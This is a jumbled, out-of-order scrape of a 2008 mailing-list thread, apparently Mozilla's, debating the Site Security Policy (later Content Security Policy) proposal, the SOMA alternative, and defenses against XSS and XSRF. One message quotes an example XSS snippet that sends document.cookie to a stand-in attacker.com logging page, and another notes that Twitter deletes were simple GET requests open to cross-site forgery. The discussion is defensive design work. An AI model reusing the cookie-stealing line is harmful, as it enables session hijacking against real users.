I have updated the proposal document to reflect the changes I
mentioned briefly before. Chief among them are:
1. The name has been changed to Content Security Policy, mainly
because the mechanism describes security policies applied to
individual _resources_ and not entire websites. The change i
On Jul 12, 10:35 am, "Evert | Rooftop" <[EMAIL PROTECTED]> wrote:
> Sorry if this was already brought up in this thread (or if its a
> closed subject), but using headers vs. a policy file is a bad idea,
> for the following reasons:
>
> * Allows caching
> * Allows usage of the policy on a site where
> I agree - but this is because what they are asked to do is hard. There
> are two things we can do about that - we can make the thing they are
> trying to do easier, or we can provide another easier thing they can do
> as well, which helps when they get the first thing wrong. That's the
> approach
[EMAIL PROTECTED] wrote:
> In terms of the safe vs. unsafe requests, perhaps I can lend some
> insight. The whole reason we have these XSS and XSRF attacks in the
> first place is because developers have messed up.
I agree - but this is because what they are asked to do is hard. There
are two th
On Jul 11, 7:16 pm, bsterne <[EMAIL PROTECTED]> wrote:
> Perhaps I am misunderstanding this point. Are you suggesting that an
> ideal model wouldn't require that web developers do anything
> differently than they currently are? Site Security Policy is intended
> to be a b
Sorry if this was already brought up in this thread (or if its a
closed subject), but using headers vs. a policy file is a bad idea,
for the following reasons:
* Allows caching
* Allows usage of the policy on a site where there's no scripting
available (static content servers?)
* Allows a policy t
model wouldn't require that web developers do anything
differently than they currently are? Site Security Policy is intended
to be a belt-and-suspenders tool to protect sites and users, but we
are still advocating that developers keep their web applications free
of vulnerabilities.
>
On Jun 25, 5:22 am, Gervase Markham <[EMAIL PROTECTED]> wrote:
> The documentation for Request-Source is now more complete, but it's a
> bit jumbled. I would make bullet 4 into bullet 2, and remove the second
> sentence because it's repeated in (new) bullet 3.
Good points. I'll make these changes
Thought I'd get involved in the conversation (full disclosure: I'm
involved with the SOMA paper that Terri has been discussing).
The point of both lines of work (both yours and ours) is to attempt to
restrict the number of XSS and XSRF vulnerabilities which exist in the
web today. We have gone ab
[EMAIL PROTECTED] wrote:
> I've updated the proposal to make this aspect a bit more clear:
> http://people.mozilla.org/~bsterne/site-security-policy/details.html
The documentation for Request-Source is now more complete, but it's a
bit jumbled. I would make bullet 4 into bullet 2
Terri wrote:
> There's no way for the
> external content provider to say "no, that's an action-causing script,
> we don't let other people use that" on requests that are "safe".
That's right - because if there was, we'd have to do checks on every
cross-domain request a page made. And the performa
updated the proposal to make this aspect a bit more clear:
http://people.mozilla.org/~bsterne/site-security-policy/details.html
> >> This means that all script has to be in external .js files. (This is one
> >> of the differences in approach from Content-Restrictions.) While this
Messed around a bit and noticed that you can indeed post using a GET
request to Twitter. This looks to be somewhat XSRF protected with a
authorization token, so hopefully it's not dead simple to exploit.
However, the delete requests are just simple GETs of the form
http://twitter.com/status/destr
> It's true that information travels this way, but the "leaky" request
> will never be made unless attacker.com is in the Request-Target
> whitelist. So there is no leak.
Ah! You're right, I had confused that for some reason. If all
requests are still covered by Request-Target, then we're good f
Terri wrote:
> On Jun 17, 9:25 am, Gervase Markham <[EMAIL PROTECTED]> wrote:
>> What's the use case for locking down all page communications?
>
> The traditional one: XSS cookie-stealing attacks like this:
>
> var image = new Image();
> image.src= ’http://attacker.com/log.php?cookie=’ +
> encode
Oh, I should probably also mention that we did an HTML conversion of
the tech report, so if anyone hates reading PDFs or just prefers HTML
(I know a surprising number of people who do), you can check it out
either on my university website:
http://www.scs.carleton.ca/~toda/doc/soma/
or my personal
On Jun 17, 9:25 am, Gervase Markham <[EMAIL PROTECTED]> wrote:
> What's the use case for locking down all page communications?
The traditional one: XSS cookie-stealing attacks like this:
var image = new Image();
image.src= ’http://attacker.com/log.php?cookie=’ +
encodeURIComponent(document.cookie
Terri wrote:
> On Jun 12, 7:07 am, Gervase Markham <[EMAIL PROTECTED]> wrote:
>> True. SSP in its current form is not a mechanism for locking down all
>> page communications
>
> Shouldn't it be?
What's the use case for locking down all page communications?
> Site admins will already have to pr
On Jun 12, 7:07 am, Gervase Markham <[EMAIL PROTECTED]> wrote:
>True. SSP in its current form is not a mechanism for locking down all
>page communications
Shouldn't it be? Site admins will already have to provide all the
necessary information in order to be SSP compliant, so it makes sense
to me
Terri wrote:
> There's a lot of small differences between our proposals,
And some big ones, if (for example) SSP ends up restricted to POST.
> and I'd like
> to point out some differences between our "soma-approval" and your
> "request-source" that are important:
>
> (1) Because the request-sou
[EMAIL PROTECTED] wrote:
> Analyzed, no... but I agree that the Request-Source checks should only
> be made for non-safe methods. The proposal includes that statement,
> though perhaps it could have been made more prominently:
> http://people.mozilla.com/~bsterne/site-security-policy/
On Jun 7, 4:47 pm, Nils Maier <[EMAIL PROTECTED]> wrote:
> * a lot of reinvent the wheel code is in there, like getHostFromURL
> (instead of using nsIURI/nsIURL/nsIEffectiveTLDService).
>
> * A regex-based homebrown html parser. I wonder how good it is, how good
> it will get... Bad people are know
e more prominently:
http://people.mozilla.com/~bsterne/site-security-policy/details.html#non-safe
> The impact would be significantly reduced if we were to do such checks
> only for unsafe HTTP verbs (i.e. POST rather than GET). The vast
> majority of cross-site requests (e.g. images, sea
We've been doing some very similar work here in the Carleton Computer
Security Lab over the past year, and we put out a tech report in April
that I think would be really helpful:
http://www.scs.carleton.ca/research/tech_reports/index.php?Abstract=tr-08-07_0007&Year=2008
For one, we did a bunch of
[EMAIL PROTECTED] wrote:
> One of the most important features lacking IMHO is the ability to
> restrict what hosts that are 'script src'd' can do. Currently they
> have full DOM access
> which is contributing towards drive by malware on ad networks and
> other nastiness.
Not if the ads are in an ,
bsterne wrote:
> I've recently published a proposal for Site Security Policy, a
> framework for allowing sites to describe how content in their pages
> should behave (thanks, Gerv):
>
> http://people.mozilla.com/~bsterne/site-security-policy
>
> I'm creating a plac
On Jun 4, 11:46 am, bsterne <[EMAIL PROTECTED]> wrote:
> I've recently published a proposal for Site Security Policy, a
> framework for allowing sites to describe how content in their pages
> should behave (thanks, Gerv):
>
> http://people.mozilla.com/~bsterne/site-securi
danberall wrote:
> A similar hierarchy could be implemented and using a "known location"
> would address the bandwidth issue for sites that have this concern.
Leaving aside the merits or otherwise of the rest of your suggestion,
"Known location" is generally bad - it means we put loads of 404 er
> - Do you plan to permit these policies to also be placed in http-equiv=""> tags? There are both pros and cons to this, of course.
Might it be a valuable idea to support a similar reference mechanism
to the way that the P3P compact policy is supported?
:: The location of the policy reference fi
bsterne wrote:
> http://people.mozilla.com/~bsterne/site-security-policy
This is an interesting proposal. Here are some thoughts:
- Are we concerned about the bandwidth used by the additional headers,
or are the days of worrying about a few bytes overhead per request long
past?
- I am concer
I've recently published a proposal for Site Security Policy, a
framework for allowing sites to describe how content in their pages
should behave (thanks, Gerv):
http://people.mozilla.com/~bsterne/site-security-policy
I'm creating a placeholder for any discussion that comes o
31 matches
Mail list logo
